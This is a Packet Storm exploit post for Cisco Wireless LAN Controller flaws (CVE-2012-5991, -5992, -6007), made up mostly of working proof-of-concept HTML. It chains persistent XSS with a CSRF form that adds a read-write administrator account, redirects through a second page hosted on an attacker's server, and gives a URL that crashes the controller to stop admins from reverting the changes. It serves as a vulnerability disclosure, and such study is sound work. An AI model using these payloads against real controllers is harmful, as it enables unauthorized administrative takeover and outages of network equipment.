Cisco Wireless Lan Controller XSS / CSRF / DoS

Type packetstorm
Reporter Jacob Holcomb
Modified 2012-12-13T00:00:00


                                            `Cisco WLC CSRF, DoS, and Persistent XSS Vulnerabilities  
# Exploit Title: u M@d? - Cisco WLC CSRF, DoS, and Persistent XSS Vulnerabilities  
# Date: Discovered and reported November 2012  
# Author: Jacob Holcomb/Gimppy042 - Security Analyst @ Independent Security Evaluators  
# Software: Cisco Wireless Lan Controller (  
# Note: Other versions are probably vulnerable, but I wasn't able to test.  
# Cisco Bug ID and CVE: CSRF: CSCud50283/CVE-2012-5992, XSS: CSCud65187/CVE-2012-6007, DoS: CSCud50209/CVE-2012-5991  
# Advisory/Video:  
# Additional Bug: DoS - See bug section in POC  
--Exploit code demonstrated in advisory video--  
File #1: ciscoWLC1.html  
<title>Cisco WLC CSRF - Persistent XSS</title>  
<form name="ciscoXSS" action="https://WLC_IP_HERE/screens/base/web_auth_custom.html" method="post" >  
<input type="hidden" name="access_control" value="1"/>  
<input type="hidden" name="webauth_type" value="internal"/>  
<input type="hidden" name="redirect_url" value=""/>  
<input type="hidden" name="aire_logo" value="show"/>  
<input type="hidden" name="headline" value="HaXoReD<img+src=><script>alert(42)</script>>"/>  
<input type="hidden" name="message" value="U+mAd?<img src= height=1000 width=1000 align=left>"/>  
<input type="hidden" name="ext_webauth_url" value=""/>  
<input type="hidden" name="buttonClicked" value="4"/>  
<input type="hidden" name="indexedClicked" value="0"/>  
<input type="hidden" name="err_flag" value="0"/>  
<input type="hidden" name="err_msg" value=""/>  
function CSRF() {"http://ATTACKER_IP/ciscoWLC2.html")};window.setTimeout(CSRF,1000)  
function XSS() {document.ciscoXSS.submit()};window.setTimeout(XSS,1000)  
File #2: ciscoWLC2.html  
<title>Cisco WLC CSRF - Add Administrator</title>  
<form name="ciscoCSRF" action="https://WLC_IP_HERE/screens/aaa/mgmtuser_create.html" method="post" >  
<input type="hidden" name="access_control" value="1"/>  
<input type="hidden" name="username" value="Gimppy"/>  
<input type="hidden" name="userpwd" value="Pwnd123"/>  
<input type="hidden" name="pwdconfirm" value="Pwnd123"/>  
<input type="hidden" name="access_mode" value="readwrite"/>  
<input type="hidden" name="buttonClicked" value="4"/>  
document.ciscoCSRF.submit()"https://WLC_IP_HERE/screens/base/login_preview.html") <-- Or https://WLC_IP_HERE/login.html  
DoS - Denial of Service  
If a GET request is made to the URL listed below with the supplied HTML parameters, the Cisco WLC will crash and perform a cold start. The request requires authentication, so you would have to target a specific authenticated user using social engineering tactics, and get them to some how submit the request to the WLC. This DoS GET  
request could be used in conjunction with my demonstrated chained POC exploit above using the persistent XSS vulnerability to crash the WLC after performing the initial attack. This would  
prevent an admin from quickly undoing the changes that were made during the attack, and if the attacker was quick enough to get shell or web access on the WLC before the admin after  
the WLC reboot, the attacker could change the admin password to prevent further access.  
DoS URL: https://WLC_IP_HERE/screens/base/web_auth_custom.html?&webauth_type=internal&buttonClicked=4